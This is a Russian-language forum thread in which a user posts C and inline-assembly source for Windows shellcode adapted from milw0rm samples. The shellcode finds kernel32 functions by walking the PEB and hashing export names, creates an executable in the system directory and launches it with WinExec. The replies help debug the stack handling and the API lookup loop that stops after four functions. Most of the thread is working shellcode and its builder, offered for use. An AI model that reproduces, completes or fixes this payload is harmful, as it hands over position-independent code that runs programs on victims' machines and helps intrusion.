Помогите плз в асембелере очен слабо разбираюсь, но очень надо написать. взял пример шелкодов от сюда http://milw0rm.com/shellcode/597 http://milw0rm.com/shellcode/596 Вот зделал переделку, шелкод все что должен делать создать файл. но при вызове CreateFileA не проходить нормальный адрес возврата. PLZ HELP!!!! Urgent! thnx Code (Text): #include <windows.h> #include <stdio.h> #define PROC_BEGIN __asm _emit 0x90 __asm _emit 0x90\ __asm _emit 0x90 __asm _emit 0x90\ __asm _emit 0x90 __asm _emit 0x90\ __asm _emit 0x90 __asm _emit 0x90 #define PROC_END PROC_BEGIN #define SEARCH_STR "\x90\x90\x90\x90\x90\x90\x90\x90\x90" #define SEARCH_LEN 8 #define MAX_SC_LEN 2048 #define HASH_KEY 13 #define ADDR_LoadLibraryA [esi] #define ADDR_GetSystemDirectoryA [esi+4] #define ADDR_WinExec [esi+8] #define ADDR_ExitProcess [esi+12] #define ADDR_CreateFileA [esi+16] #define ADDR_WriteFileA [esi+20] #define ADDR_CloseHandle [esi+24] // Need functions unsigned char functions[100][128] = { // [esi] stack layout // kernel32 4 // 00 kernel32.dll {"LoadLibraryA"}, // [esi] {"GetSystemDirectoryA"}, // [esi+4] {"WinExec"}, // [esi+8] {"ExitProcess"}, // [esi+12] {"CreateFileA"}, // [esi+16] {"WriteFileA"}, // [esi+20] {"CloseHandle"}, // [esi+24] {""}, }; unsigned char sc[1024] = {0}; void ShellCode(); static DWORD __stdcall GetHash ( char *c ) { DWORD h = 0; while ( *c ){ __asm ror h, HASH_KEY h += *c++; } return( h ); } void PrintSc(unsigned char *sc, int len) { int i,j; char *p; char msg[6]; for(i = 0; i < len; i++){ if((i%16)==0){ if(i!=0) printf("\"\n\""); else printf("\""); } sprintf(msg, "\\x%.2X", sc[i] & 0xff); for( p = msg, j=0; j < 4; p++, j++ ){ if(isupper(*p)) printf("%c", _tolower(*p)); else printf("%c", p[0]); } } printf("\";\n"); } void Make_ShellCode() { unsigned char *pSc_addr; unsigned int Sc_len; unsigned long dwHash[100]; unsigned int dwHashSize; int i,j,k,l; printf("[+] Get functions hash strings.\r\n"); for (i=0;;i++) { if (functions[i][0] == '\x0') break; dwHash[i] = GetHash((char*)functions[i]); printf("\t%.8X\t%s\n", dwHash[i], functions[i]); } dwHashSize = i*4; pSc_addr = (unsigned char *)ShellCode; for (k=0;k<MAX_SC_LEN;++k ){ if(memcmp(pSc_addr+k,SEARCH_STR, SEARCH_LEN)==0){ break; } } pSc_addr+=(k+SEARCH_LEN); // Start of the ShellCode for (k=0;k<MAX_SC_LEN;++k) { if(memcmp(pSc_addr+k,SEARCH_STR, SEARCH_LEN)==0) { break; } } Sc_len=k; memcpy(sc, pSc_addr, Sc_len); memcpy(sc+Sc_len, (char *)dwHash, dwHashSize); Sc_len += dwHashSize; printf("/* %d bytes shellcode */\r\n", Sc_len); PrintSc((char*)sc, Sc_len); } void main() { DWORD addr; Make_ShellCode(); addr = (DWORD)≻ __asm { jmp addr } return; } void ShellCode() { __asm { PROC_BEGIN // C macro to begin proc jmp sc_end sc_start: pop edi // Hash string start addr (esp -> edi) mov eax, fs:0x30 // PEB mov eax, [eax+0x0c] // PROCESS_MODULE_INFO mov esi, [eax+0x1c] // InInitOrder.flink lodsd // eax = InInitOrder.blink mov ebp, [eax+8] // ebp = kernel32.dll base address mov esi, edi // Hash string start addr -> esi // Get function addr of kernel32 push 4 pop ecx getkernel32: call GetProcAddress_fun loop getkernel32 //LGetSystemDirectoryA: sub esp, 0x78 mov ebx, esp push 0x64 push ebx call ADDR_GetSystemDirectoryA // GetSystemDirectoryA //LCreateFileA // eax = system path size // ebx = address of %systemdir% mov dword ptr [ebx+eax], 0x652E615C // "\a.e" mov dword ptr [ebx+eax+0x4], 0x00006578 // "xe" add esp, 0x0c push 0x0 push 0x80 push 0x2 push 0x0 push 0x0 push 0x40000000 push ebx call ADDR_CreateFileA // CreateFileA mov eax, edx push edx call ADDR_CloseHandle // CreateFileA //LWinExec: mov ebx, esp mov eax, 0x5 push eax push ebx call ADDR_WinExec // WinExec(%systemdir%\a.exe); Finished: call ADDR_ExitProcess // ExitProcess(); GetProcAddress_fun: push ecx push esi mov esi, [ebp+0x3C] // e_lfanew mov esi, [esi+ebp+0x78] // ExportDirectory RVA add esi, ebp // rva2va push esi mov esi, [esi+0x20] // AddressOfNames RVA add esi, ebp // rva2va xor ecx, ecx dec ecx find_start: inc ecx lodsd add eax, ebp xor ebx, ebx hash_loop: movsx edx, byte ptr [eax] cmp dl, dh jz short find_addr ror ebx, HASH_KEY // hash key add ebx, edx inc eax jmp short hash_loop find_addr: cmp ebx, [edi] // compare to hash jnz short find_start pop esi // ExportDirectory mov ebx, [esi+0x24] // AddressOfNameOrdinals RVA add ebx, ebp // rva2va mov cx, [ebx+ecx*2] // FunctionOrdinal mov ebx, [esi+0x1C] // AddressOfFunctions RVA add ebx, ebp // rva2va mov eax, [ebx+ecx*4] // FunctionAddress RVA add eax, ebp // rva2va stosd // function address save to [edi] pop esi pop ecx ret sc_end: call sc_start PROC_END //C macro to end proc } }
ну что, никто не может/не хочет помоч? тут должно быть все просто, я гдет или в стек чет не дописал, или с ebp, esp чтот не дописал. ПЛЗ!
снкс, но без этого тоже не пашет. тамже происходит краш. хотя в CreateFileA передается все правильно, но адресс возврата функции не правильный, оно jmp вообше по левому адресу. хотя в премерах шелкодов, я никаких махинаций при вызове функция не заметил.
0041120F call dword ptr [esi+10h] прыгает на адрес 7c0017a5, и там всеравно есть "add esp, 0x0c" или нету.
Тут какая то муть со стеком в него как будто записывается что то функцией getsystemdirectory и все манипуляции со стеком изза этого кажется
вот дизасм такого кода написаного на С PUSH EBP MOV EBP,ESP SUB ESP,78 PUSH 64 ; /BufSize = 64 (100.) LEA EAX,DWORD PTR SS:[EBP-70] ; | PUSH EAX ; |Buffer CALL DWORD PTR DS:[<&KERNEL32.GetSystemD>; \GetSystemDirectoryA MOV DWORD PTR SS:[EBP-78],EAX MOV DWORD PTR SS:[EBP-74],652E615C PUSH 4 LEA ECX,DWORD PTR SS:[EBP-74] PUSH ECX MOV EDX,DWORD PTR SS:[EBP-78] LEA EAX,DWORD PTR SS:[EBP+EDX-70] PUSH EAX CALL 1.00401080 ADD ESP,0C MOV DWORD PTR SS:[EBP-74],6578 PUSH 4 LEA ECX,DWORD PTR SS:[EBP-74] PUSH ECX MOV EDX,DWORD PTR SS:[EBP-78] LEA EAX,DWORD PTR SS:[EBP+EDX-6C] PUSH EAX CALL 1.00401080 ADD ESP,0C PUSH 0 ; /hTemplateFile = NULL PUSH 80 ; |Attributes = NORMAL PUSH 2 ; |Mode = CREATE_ALWAYS PUSH 0 ; |pSecurity = NULL PUSH 0 ; |ShareMode = 0 PUSH 40000000 ; |Access = GENERIC_WRITE LEA ECX,DWORD PTR SS:[EBP-70] ; | PUSH ECX ; |FileName CALL DWORD PTR DS:[<&KERNEL32.CreateFile>; \CreateFileA MOV DWORD PTR SS:[EBP-4],EAX MOV EDX,DWORD PTR SS:[EBP-4] PUSH EDX ; /hObject CALL DWORD PTR DS:[<&KERNEL32.CloseHandl>; \CloseHandle XOR EAX,EAX MOV ESP,EBP POP EBP RETN
то что в стеке проблема понятно, сбивается адрес возврата. только непонятко как его правильно зделать =(
ADD ESP,0C этот код переведет указатель стека вперед значит если дальше push и call правильно расставлены ret вернется на инструкцию после вызова CreateFileA Вот так я думаю И думаю что в CreateFileA что то не то передается Вот что я думаю не так: Функция принимает DWORD и прочее и я думаю что асм не преобразует твои простые числа в числа определенной длины... ну там dword и прочее, думаю что тебе нужно указать размер переменных которые ты передаешь в функцию
doneco Иди отдохни. На свежую голову продолжишь кодинг. PS: Code (Text): unsigned char functions[100][128] = { // [esi] stack layout // kernel32 4 // 00 kernel32.dll {"LoadLibraryA"}, // [esi] {"GetSystemDirectoryA"}, // [esi+4] {"WinExec"}, // [esi+8] {"ExitProcess"}, // [esi+12] {"CreateFileA"}, // [esi+16] {"WriteFileA"}, // [esi+20] {"CloseHandle"}, // [esi+24] {""}, }; Я тут насчитал 7 функций. А вот тут находим только 4 первые. До CreateFileA недоходим. В ячейке, вместо адреса лежит ХЕШ. равный 0x7C00175A
Сам же вывел хеши в консоль. Исходя из простой логики: 1. если вместо адреса - хеш, значит проблема в процедуре поиска АПИ 2. Если первые 4 апи анйдены правильно, значит проблема: а) в имени апи б) в счетчике
Посмотрел шелкод в оригинале. Автору за такой шедевр нужно гвоздь в голову вбить. Нечитабельный гуан.